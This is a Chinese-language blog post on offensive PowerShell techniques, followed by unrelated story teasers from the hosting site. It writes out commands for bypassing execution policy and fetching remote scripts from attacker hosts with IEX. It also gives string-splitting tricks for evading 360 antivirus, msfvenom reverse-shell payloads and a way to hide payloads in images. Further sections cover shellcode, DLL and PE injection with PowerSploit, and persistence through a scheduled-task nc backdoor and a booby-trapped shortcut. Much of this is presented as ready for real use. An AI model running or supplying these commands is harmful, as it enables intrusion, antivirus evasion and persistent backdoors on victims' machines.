浅谈powershell

前言

早就听闻powershell,是一个功能强大的shell,全凭命令操作windows服务。现被更广泛用于渗透攻击等方面,在不需要写入磁盘的情况下执行命令,也可以逃避Anti-Virus检测。

语法

| 管道符的作用是将一个命令的输出作为另一个命令的输入
; 分号用来连续执行系统命令
&是调用操作符,它允许你执行命令,脚本或函数
双引号可以替换内部变量
双引号里的双引号,单引号里的单引号,写两遍输出

常用命令

使用powershell满足一个标椎动词-名词组合,来帮助我们更快理解。
Get-Alias -name dir 查看别名
Ls $env: 查看当前环境变量
Get-ExecutionPolicy 查看当前执行策略
Set-ExecutionPolicy 设置执行的策略
Get-Host 查看powershell版本
Get-Content 查看文件内容
Get-Content test.txt 显示文本内容
Set-Content test.txt-Value "hello,word" 设置文本内容
Get-Process 查看当前进程列表
Get-Location 获取当前位置
Get-WmiObject -Class Win32_ComputerSystem |Select-object -ExpandProperty UserName
查看登录到物理机的用户

执行策略

powershell有六种执行策略:
Unrestricted 权限最高,可以不受限制执行任意脚本
Restricted 默认策略,不允许任意脚本的执行
AllSigned 所有脚本必须经过签名运行
RemoteSigned 本地脚本无限制,但是对来自网络的脚本必须经过签名
Bypass 没有任何限制和提示
Undefined 没有设置脚本的策略

默认情况下,禁止脚本执行。除非管理员更改执行策略。Set-ExecutionPolicy
绕过执行策略执行大概有以下几种:
1.本地读取然后通过管道符运行

powershell Get-Content 1.ps1 | powershell -NoProfile -

2.远程下载并通过IEX运行脚本

powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://xxx.xxx.xxx/a.ps1')"

3.Bypass执行策略绕过

powershell -ExecutionPolicy bypass -File ./a.ps1

不会显示警告和提示
4.Unrestricted执行策略标志

powershell -ExecutionPolicy unrestricted -File ./a.ps1

当运行一个从网上下载的未签名的脚本时,会给出权限提示

需要解释的是:
IEX(Invoke-Expression的别名):用来把字符串当作命令执行。
WindowStyle Hidden(-w Hidden):隐藏窗口
Nonlnteractive(-NonI):非交互模式,PowerShell不为用户提供交互的提示。
NoProfile(-NoP):PowerShell控制台不加载当前用户的配置文件。
Noexit(-Noe):执行后不退出Shell。
EncodedCommand(-enc): 接受base64 encode的字符串编码,避免一些解析问题

bypass AV

如果考虑实际情况,假设我们获取了一个webshell。以上的几种方法只有IEX可以远程加载直接运行,其余都需要上传ps木马再绕过执行策略。
msfvenom生成ps木马

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.203.140 LPORT=4444 -f psh-reflection >a.ps1

但是一些AV对powershell命令查杀比较严格。以360为例:
对于后一种,可以将绕过执行策略的命令修改为bat文件后再次运行。可绕过360

powershell -ExecutionPolicy bypass -File ./a.ps1

将该命令保存为c.bat,菜刀运行即可。

image.png

对于IEX这种方便快捷的方式直接运行会被360拦截。可尝试从语法上简单变化。
主要是对DownloadString、http做一些处理。
比如这个:

powershell.exe 
"
$c1='powershell -c IEX';
$c2='(New-Object Net.WebClient).Downlo';
$c3='adString(''http://192.168.197.192/a.ps1'')';
echo ($c1+$c2+$c3)
"

先将命令拆分为字符串,然后进行拼接。
需要注意的是双引号可以输出变量,两个单引号连用才能输出一个单引号。

image.png

成功输出该命令。echo修改为IEX即可运行,bypass 360。

image.png

也可以使用replace替换函数,bypass。

powershell "$c1='IEX(New-Object Net.WebClient).Downlo';$c2='123(''http://192.168.197.192/a.ps1'')'.Replace('123','adString');IEX ($c1+$c2)"

也可以对http字符进行绕过,同样可以bypass

powershell "$a='IEX((new-object net.webclient).downloadstring(''ht';$b='tp://192.168.197.192/a.ps1''))';IEX ($a+$b)"

image.png

实际测试也可以在菜刀里直接运行后产生session
为了更好用于实战,可以在c、vbs、hta、python等语言中执行该系统命令,达到bypass的效果。
大佬们还写出了用于编码和混淆的框架
https://github.com/danielbohannon/Invoke-Obfuscation
Powershell编码与混淆

还有一款通过图片免杀执行powershell的脚本Invoke-PSImage.ps1,主要把payload分散存到图片的像素中,最后到远端执行时,再重新遍历重组像素中的payload执行。
参考资料:https://github.com/peewpw/Invoke-PSImage

在利用的时候需要准备一张足够大的图片。我用的是1900*1200的图片x.jpg。

C:\>powershell
PS C:\> Import-Module .\Invoke-PSImage.ps1
PS C:\> Invoke-PSImage -Script .\a.ps1 -Image .\x.jpg -Out .\reverse_shell.png -Web

a.ps1是msf木马,-Out 生成reverse_shell.png图片,-Web 输出从web读取的命令。

image.png

并将reverse_shell.png移动至web目录,替换url地址。在powershell下执行即可。

image.png

加载shellcode、dll、exe

在《web安全攻防》书里有利用 PowerSploit 脚本加载shellcode、dll反弹meterpreter shell的方法。我把之前的笔记放在这里。
1.加载shellcode
msfvenom生成脚本木马

msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.72.164 LPORT=4444 -f powershell -o /var/www/html/test

在windows靶机上运行一下命令

IEX(New-Object Net.WebClient).DownloadString("http://144.34.xx.xx/PowerSploit/CodeExecution/Invoke-Shellcode.ps1")
IEX(New-Object Net.WebClient).DownloadString("http://192.168.72.164/test")
Invoke-Shellcode -Shellcode ($buf) -Force  运行木马

使用Invoke-Shellcode.ps1脚本执行shellcode
即可反弹meterpreter shell

session

2.加载dll
使用msfvenom 生成dll木马脚本

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.72.164 lport=4444 -f dll -o /var/www/html/test.dll

将生成的dll上传到目标的C盘。在靶机上执行以下命令

IEX(New-Object Net.WebClient).DownloadString("http://144.34.xx.xx/PowerSploit/CodeExecution/Invoke-DllInjection.ps1")
Start-Process c:\windows\system32\notepad.exe -WindowStyle Hidden 

创建新的进程启动记事本,并设置为隐藏

Invoke-DllInjection -ProcessID xxx -Dll c:\test.dll 使用notepad的PID

使用Invoke-DLLinjection脚本,启动新的进程进行dll注入(没有杀毒软件)

image.png

即可反弹meterpreter session

image.png

3.加载exe

msfvenom生成exe木马(不免杀)

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.197.195 lport=4444 -f exe > /var/www/html/test.exe

还是powersploit的Invoke-ReflectivePEInjection.ps1脚本,可以直接远程加载exe达到bypass

powershell.exe -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/clymb3r/PowerSploit/master/CodeExecution/Invoke-ReflectivePEInjection.ps1');Invoke-ReflectivePEInjection -PEUrl http://192.168.197.195/test.exe   -ForceASLR"

成功反弹meterpreter shell

image.png

内网渗透

PSAttack
PSAttack是用于内网渗透测试工具,其集成了多个Powershell脚本,包括Powersploit、PowerTools、Nishang、Powercat等项目的脚本,多用于域渗透。
https://github.com/jaredhaight/PSAttack
下载试了试,感觉还不错。

image.png

参考资料
Powershell 渗透测试技巧

Empire
Empire框架也是一款很强大的后渗透测神器
之前自己也简单学习过,有时候确实比msf强大。这里不再多说。
初识Empire
PowerShell基础
Empire:PowerShell后期漏洞利用代理工具

权限维持

1.反弹cmd
推荐一款脚本
https://github.com/re4lity/Schtasks-Backdoor
靶机运行powershell脚本,也是一句话加载

powershell.exe  -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.197.195/Invoke-taskBackdoor.ps1');Invoke-Tasksbackdoor -method nc -ip 192.168.197.195 -port 4444 -time 2"

每2秒反弹一次。
攻击机 nc 监听即可

image.png

查看脚本发现也支持msf的反弹,但我测试的时候没有得到session。

2.快捷方式隐藏

用的也是Empire的一个脚本。首先生成payload

image.png

靶机以管理员权限运行以下命令:

powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/persistence/Invoke-BackdoorLNK.ps1');Invoke-BackdoorLNK -LNKPath  快捷方式绝对路径 -EncScript payload

注意替换快捷方式的路径、payload,执行后即可上线。

image.png

详情参考:Empire之link後門維持權限

尝试把payload换成powershell远程加载的命令,并使用base64编码。然后执行~

image.png

点击Navicat快捷键,即可反弹meterpreter。

image.png

其余参考资料
15-ways-bypass-powershell-exec
Powershell-Basic-learning
Intranet Space - Empire
PowerSploit攻击指南
Powershell-Evasion

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 194,491评论 5 459
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 81,856评论 2 371
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 141,745评论 0 319
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 52,196评论 1 263
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 61,073评论 4 355
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 46,112评论 1 272
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 36,531评论 3 381
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 35,215评论 0 253
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 39,485评论 1 290
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 34,578评论 2 309
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 36,356评论 1 326
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 32,215评论 3 312
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 37,583评论 3 299
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 28,898评论 0 17
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 30,174评论 1 250
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 41,497评论 2 341
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 40,697评论 2 335

推荐阅读更多精彩内容